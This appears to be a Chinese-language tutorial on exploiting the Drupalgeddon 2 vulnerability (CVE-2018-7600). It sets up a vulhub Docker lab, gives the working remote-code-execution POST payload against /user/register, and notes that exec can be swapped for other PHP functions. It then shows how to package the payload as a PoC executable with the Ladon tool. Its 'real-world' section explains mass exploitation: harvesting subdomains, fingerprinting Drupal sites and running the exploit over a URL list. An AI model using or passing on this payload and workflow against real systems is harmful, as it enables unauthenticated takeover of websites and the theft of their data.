Drupal是一个开源内容管理系统(CMS),全球超过100万个网站(包括政府,电子零售,企业组织,金融机构等)使用。两周前,Drupal安全团队披露了一个非常关键的漏洞,编号CVE-2018-7600 Drupal对表单请求内容未做严格过滤,因此,这使得攻击者可能将恶意注入表单内容,此漏洞允许未经身份验证的攻击者在默认或常见的Drupal安装上执行远程代码执行。
https://research.checkpoint.com/uncovering-drupalgeddon-2/
Drupal 6.x
Drupal 7.x
Drupal 8.x
https://github.com/vulhub/vulhub/blob/master/drupal/CVE-2018-7600/README.zh-cn.md
漏洞环境
执行如下命令启动drupal 8.5.0的环境:
docker-compose up -d
环境启动后,访问http://your-ip:8080/将会看到drupal的安装页面,一路默认配置下一步安装。因为没有mysql环境,所以安装的时候可以选择sqlite数据库。
1 | POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1 |
使用LadonExp.exe生成POC,填写对应字段,具体参数如下
TargetURL: 目标URL
Addurl: /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax
Post: form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id
只需以上3个参数即可,点击BuildExe生成EXE,再点击TestEXE测试,如图所示成功执行ID命令。
PS:Payload中的exec也可换成system、passthru或其它PHP函数
生成的POC或EXP可使用Ladon调用,单个URL用法如下:
1 | Ladon http://192.168.1.8:8080 LadonPoc.exe |
由于url不像ip那样可使用IP/24、IP/XX来批量,所以我们可配置url.txt来批量利用EXP。
1 | Ladon url.txt LadonPoc.exe |
实战时可使用LadonGui的SubDomain来快速获取目标子域名并识别出使用Drupal的域名,再把对应URL放入url.txt,即可使用Ladon批量EXP。
如果已整理好URL,可使用WhatCMS快速识别
1 | Ladon url.txt WhatCMS |
PowerLadon: https://github.com/k8gege/PowerLadon
历史版本: http://github.com/k8gege/Ladon/releases
7.0版本:http://k8gege.org/Download
8.6版本:K8小密圈